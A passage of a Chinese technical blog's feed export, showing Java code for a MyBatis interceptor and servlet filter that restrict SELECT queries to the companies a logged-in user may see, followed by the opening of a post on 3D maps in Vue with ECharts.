Integer.class&#125;)&#125;)</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UnitDataPermissionInterceptor</span> <span class="keyword">implements</span> <span class="title class_">Interceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">    ThreadLocal&lt;DataScopeParam&gt; threadLocal = <span class="keyword">new</span> <span class="title class_">TransmittableThreadLocal</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 清空当前线程上次保存的权限信息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@After(&quot;dataScopePointCut()&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">clearThreadLocal</span><span class="params">()</span> &#123;</span><br><span class="line">        threadLocal.remove();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 配置织入点</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Pointcut(&quot;@annotation(com.lyc.common.base.annotation.DataScope)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">dataScopePointCut</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> point JoinPoint</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Before(&quot;dataScopePointCut()&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doBefore</span><span class="params">(JoinPoint point)</span> &#123;</span><br><span class="line">        <span class="comment">// 获得注解</span></span><br><span class="line">        <span class="type">DataScope</span> <span class="variable">controllerDataScope</span> <span class="operator">=</span> getAnnotationLog(point);</span><br><span class="line">        <span class="keyword">if</span> (controllerDataScope != <span class="literal">null</span> &amp;&amp; SecurityUtils.getUser() != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 获取当前用户所具备的企业列表，此处是直接获取用户具备的机构树信息，从机构树中获取对应的企业列表，构建这个机构树是在用户登录时进行操作，此处不做展示</span></span><br><span class="line">            <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">            Set&lt;Long&gt; dataScope = sysUser.getTierVos().stream().map(EntierVO::getUnitIdList).flatMap(Collection::stream).collect(Collectors.toSet());</span><br><span class="line">            <span class="comment">// 对@DataScope中设置filterData设置为false的注解、管理员用户不进行权限过滤</span></span><br><span class="line">            <span class="type">DataScopeParam</span> <span class="variable">dataScopeParam</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataScopeParam</span>(controllerDataScope.unitField(), dataScope, controllerDataScope.filterData() &amp;&amp; !CommonConstants.SUPER_ADMIN.equals(sysUser.getId()));</span><br><span class="line">            threadLocal.set(dataScopeParam);</span><br><span class="line">            log.debug(<span class="string">&quot;当前用户可以查看的企业列表数据 = &#123;&#125;&quot;</span>, dataScope);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否存在注解，如果存在就获取</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> DataScope <span class="title function_">getAnnotationLog</span><span class="params">(JoinPoint joinPoint)</span> &#123;</span><br><span class="line">        org.aspectj.lang.<span class="type">Signature</span> <span class="variable">signature</span> <span class="operator">=</span> joinPoint.getSignature();</span><br><span class="line">        <span class="type">MethodSignature</span> <span class="variable">methodSignature</span> <span class="operator">=</span> (MethodSignature) signature;</span><br><span class="line">        <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> methodSignature.getMethod();</span><br><span class="line">        <span class="keyword">if</span> (method != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> method.getAnnotation(DataScope.class);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">intercept</span><span class="params">(Invocation invocation)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dataScopeParam</span> <span class="operator">=</span> threadLocal.get();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取header中的待过滤的企业列表</span></span><br><span class="line">        Set&lt;Long&gt; entIdList = CurrentEntIdSearchContextHolder.getEntIdList();</span><br><span class="line">        <span class="keyword">if</span> (CollUtil.isNotEmpty(entIdList)) &#123;</span><br><span class="line">            <span class="keyword">if</span> (dataScopeParam == <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="comment">// 如果前端需要查询指定企业列表的数据，则主动创建一个DataScopeParam对象进行数据过滤</span></span><br><span class="line">                dataScopeParam = <span class="keyword">new</span> <span class="title class_">DataScopeParam</span>(<span class="string">&quot;ent_id&quot;</span>, entIdList, <span class="literal">true</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="comment">// 获取主动查询的企业列表和用户权限所具备企业列表交集</span></span><br><span class="line">                Set&lt;Long&gt; permissionEntList = dataScopeParam.getEntIdList();</span><br><span class="line">                dataScopeParam.setFilterField(<span class="literal">true</span>);</span><br><span class="line">                dataScopeParam.setEntIdList(entIdList.stream().filter(permissionEntList::contains).collect(Collectors.toSet()));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 没有添加注解则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (dataScopeParam == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 注解配置不过滤数据则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (!dataScopeParam.isFilterField()) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果非权限用户则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">StatementHandler</span> <span class="variable">statementHandler</span> <span class="operator">=</span> PluginUtils.realTarget(invocation.getTarget());</span><br><span class="line">        <span class="type">MetaObject</span> <span class="variable">metaObject</span> <span class="operator">=</span> SystemMetaObject.forObject(statementHandler);</span><br><span class="line">        <span class="comment">// 先判断是不是SELECT操作 不是直接过滤</span></span><br><span class="line">        <span class="type">MappedStatement</span> <span class="variable">mappedStatement</span> <span class="operator">=</span> (MappedStatement) metaObject.getValue(<span class="string">&quot;delegate.mappedStatement&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (!SqlCommandType.SELECT.equals(mappedStatement.getSqlCommandType())) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">BoundSql</span> <span class="variable">boundSql</span> <span class="operator">=</span> (BoundSql) metaObject.getValue(<span class="string">&quot;delegate.boundSql&quot;</span>);</span><br><span class="line">        <span class="comment">// 执行的SQL语句</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">originalSql</span> <span class="operator">=</span> boundSql.getSql();</span><br><span class="line">        <span class="comment">// SQL语句的参数</span></span><br><span class="line">        <span class="type">Object</span> <span class="variable">parameterObject</span> <span class="operator">=</span> boundSql.getParameterObject();</span><br><span class="line">        <span class="comment">// 需要过滤的数据</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">finalSql</span> <span class="operator">=</span> <span class="built_in">this</span>.handleSql(originalSql, dataScopeParam.getEntIdList(), dataScopeParam.getUnitField());</span><br><span class="line">        log.warn(<span class="string">&quot;数据权限处理过后的SQL: &#123;&#125;&quot;</span>, finalSql);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 装载改写后的sql</span></span><br><span class="line">        metaObject.setValue(<span class="string">&quot;delegate.boundSql.sql&quot;</span>, finalSql);</span><br><span class="line">        <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 修改sql</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> originalSql 原始sql</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> entIdList   需要过滤的企业列表</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> fieldName   当前主表中字段名称</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 修改后的语句</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> JSQLParserException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">handleSql</span><span class="params">(String originalSql, Set&lt;Long&gt; entIdList, String fieldName)</span> <span class="keyword">throws</span> JSQLParserException &#123;</span><br><span class="line">        <span class="type">CCJSqlParserManager</span> <span class="variable">parserManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CCJSqlParserManager</span>();</span><br><span class="line">        <span class="type">Select</span> <span class="variable">select</span> <span class="operator">=</span> (Select) parserManager.parse(<span class="keyword">new</span> <span class="title class_">StringReader</span>(originalSql));</span><br><span class="line">        <span class="type">SelectBody</span> <span class="variable">selectBody</span> <span class="operator">=</span> select.getSelectBody();</span><br><span class="line">        <span class="keyword">if</span> (selectBody <span class="keyword">instanceof</span> PlainSelect) &#123;</span><br><span class="line">            <span class="built_in">this</span>.setWhere((PlainSelect) selectBody, entIdList, fieldName);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (selectBody <span class="keyword">instanceof</span> SetOperationList) &#123;</span><br><span class="line">            <span class="type">SetOperationList</span> <span class="variable">setOperationList</span> <span class="operator">=</span> (SetOperationList) selectBody;</span><br><span class="line">            List&lt;SelectBody&gt; selectBodyList = setOperationList.getSelects();</span><br><span class="line">            selectBodyList.forEach(s -&gt; <span class="built_in">this</span>.setWhere((PlainSelect) s, entIdList, fieldName));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> select.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置 where 条件  --  使用CCJSqlParser将原SQL进行解析并改写</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> plainSelect 查询对象</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@SneakyThrows(Exception.class)</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">setWhere</span><span class="params">(PlainSelect plainSelect, Set&lt;Long&gt; entIdList, String fieldName)</span> &#123;</span><br><span class="line">        <span class="type">Table</span> <span class="variable">fromItem</span> <span class="operator">=</span> (Table) plainSelect.getFromItem();</span><br><span class="line">        <span class="comment">// 有别名用别名，无别名用表名，防止字段冲突报错</span></span><br><span class="line">        <span class="type">Alias</span> <span class="variable">fromItemAlias</span> <span class="operator">=</span> fromItem.getAlias();</span><br><span class="line">        <span class="type">String</span> <span class="variable">mainTableName</span> <span class="operator">=</span> fromItemAlias == <span class="literal">null</span> ? fromItem.getName() : fromItemAlias.getName();</span><br><span class="line">        <span class="comment">// 构建子查询 -- 数据权限过滤SQL</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">dataPermissionSql</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="comment">// 当只有一条数据时直接使用ent_id = #&#123;ent_id&#125;</span></span><br><span class="line">        <span class="keyword">if</span> (entIdList.size() == <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="type">EqualsTo</span> <span class="variable">selfEqualsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">            selfEqualsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(mainTableName + <span class="string">&quot;.&quot;</span> + fieldName));</span><br><span class="line">            selfEqualsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(entIdList.stream().findFirst().get()));</span><br><span class="line">            dataPermissionSql = selfEqualsTo.toString();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            dataPermissionSql = mainTableName + <span class="string">&quot;.&quot;</span> + fieldName + <span class="string">&quot; in ( &quot;</span> + CollUtil.join(entIdList, StringPool.COMMA) + <span class="string">&quot; )&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (plainSelect.getWhere() == <span class="literal">null</span>) &#123;</span><br><span class="line">            plainSelect.setWhere(CCJSqlParserUtil.parseCondExpression(dataPermissionSql));</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            plainSelect.setWhere(<span class="keyword">new</span> <span class="title class_">AndExpression</span>(plainSelect.getWhere(), CCJSqlParserUtil.parseCondExpression(dataPermissionSql)));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成拦截对象的代理</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> target 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 代理对象</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">plugin</span><span class="params">(Object target)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (target <span class="keyword">instanceof</span> StatementHandler) &#123;</span><br><span class="line">            <span class="keyword">return</span> Plugin.wrap(target, <span class="built_in">this</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> target;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * mybatis配置的属性</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> properties mybatis配置的属性</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setProperties</span><span class="params">(Properties properties)</span> &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="考虑到机构用户会指定查询某企业的数据，将以上权限过滤部分改写使其满足新的需求">考虑到机构用户会指定查询某企业的数据，将以上权限过滤部分改写使其满足新的需求</h2><h3 id="添加holder用户储存接口请求中需要过滤的企业列表">添加holder用户储存接口请求中需要过滤的企业列表</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.ttl.TransmittableThreadLocal;</span><br><span class="line"><span class="keyword">import</span> lombok.experimental.UtilityClass;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 CurrentEntIdSearchContextHolder</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/21 10:13</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@UtilityClass</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CurrentEntIdSearchContextHolder</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> ThreadLocal&lt;Set&lt;Long&gt;&gt; THREAD_LOCAL_ENT_LIST = <span class="keyword">new</span> <span class="title class_">TransmittableThreadLocal</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置当前header中的企业列表</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> entIdList 需要查询的企业列表</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setEntIdList</span><span class="params">(Set&lt;Long&gt; entIdList)</span> &#123;</span><br><span class="line">        THREAD_LOCAL_ENT_LIST.set(entIdList);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取header中的企业列表</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 企业列表</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;Long&gt; <span class="title function_">getEntIdList</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> THREAD_LOCAL_ENT_LIST.get();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">clear</span><span class="params">()</span> &#123;</span><br><span class="line">        THREAD_LOCAL_ENT_LIST.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="添加过滤器获取并储存待过滤的企业列表">添加过滤器获取并储存待过滤的企业列表</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.hutool.core.convert.Convert;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.StrUtil;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.constant.CommonConstants;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.utils.CurrentEntIdSearchContextHolder;</span><br><span class="line"><span class="keyword">import</span> lombok.SneakyThrows;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.Ordered;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.annotation.Order;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.filter.GenericFilterBean;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.servlet.FilterChain;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletResponse;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"><span class="keyword">import</span> java.util.HashSet;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 ContextHolderFilter</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/21 10:21</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Order(Ordered.HIGHEST_PRECEDENCE)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EntIdContextHolderFilter</span> <span class="keyword">extends</span> <span class="title class_">GenericFilterBean</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="meta">@SneakyThrows</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> &#123;</span><br><span class="line">        <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> (HttpServletRequest) servletRequest;</span><br><span class="line">        <span class="type">HttpServletResponse</span> <span class="variable">response</span> <span class="operator">=</span> (HttpServletResponse) servletResponse;</span><br><span class="line"></span><br><span class="line">        Set&lt;Long&gt; entIdList = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">        <span class="type">String</span> <span class="variable">entIdListStr</span> <span class="operator">=</span> request.getHeader(CommonConstants.ENT_ID_LIST);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (StrUtil.isNotBlank(entIdListStr)) &#123;</span><br><span class="line">            entIdList = Convert.toSet(Long.class, entIdListStr);</span><br><span class="line">            log.debug(<span class="string">&quot;获取header中的企业列表为:&#123;&#125;&quot;</span>, entIdList);</span><br><span class="line">        &#125;</span><br><span class="line">        CurrentEntIdSearchContextHolder.setEntIdList(entIdList);</span><br><span class="line"></span><br><span class="line">        filterChain.doFilter(request, response);</span><br><span class="line">        CurrentEntIdSearchContextHolder.clear();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="使用方式">使用方式</h2><h3 id="添加注解用于过滤数据">添加注解用于过滤数据</h3><div class="note simple"><p>同时支持mybatis plus的api和xml中的sql，但是@DataScope中设定的unitField的过滤字段必须在sql的主表中</p></div><h4 id="注解添加在controller中，用于使用mybatis-plus-api的情况">注解添加在controller中，用于使用mybatis plus api的情况</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/fc5347046a04b51bae685e2e7fe0a784.png" alt="image-20221021133318823"></p><h4 id="注解添加在controller或者dao层方法上，用于使用xml中自定义sql的情况">注解添加在controller或者dao层方法上，用于使用xml中自定义sql的情况</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/d58d3dad1d78edc1606fe48a821601a1.png" alt="image-20221021134449090"></p><h3 id="指定查询部分企业列表">指定查询部分企业列表</h3><h4 id="在header中添加entIdList">在header中添加entIdList</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/099add1cd02edc335b1960f7ff8e779e.png" alt="image-20221021134613580"></p>]]></content>
    
    
    <summary type="html">实现以下业务场景：登录用户绑定一个或多个机构，每个机构包含若干个企业，根据列名`ent_id`在数据库进行企业数据筛选，登录用户查询数据时会自动筛选出用户关联的企业数据。</summary>
    
    
    
    <category term="framework" scheme="https://blog.allbs.cn/categories/framework/"/>
    
    
    <category term="spring" scheme="https://blog.allbs.cn/tags/spring/"/>
    
    <category term="framework" scheme="https://blog.allbs.cn/tags/framework/"/>
    
    <category term="mybatis plus" scheme="https://blog.allbs.cn/tags/mybatis-plus/"/>
    
    <category term="权限" scheme="https://blog.allbs.cn/tags/%E6%9D%83%E9%99%90/"/>
    
  </entry>
  
  <entry>
    <title>vue实现3d地图的展示与切换</title>
    <link href="https://blog.allbs.cn/posts/59573/"/>
    <id>https://blog.allbs.cn/posts/59573/</id>
    <published>2022-10-08T07:39:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h3 id="引入echarts依赖">引入echarts依赖</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">npm install echarts</span><br><span class="line">npm install echarts-gl</span><br></pre></td></tr></table></figure><h3 id="定义一个使用3d地图的组件">定义一个使用3d地图的组件</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span 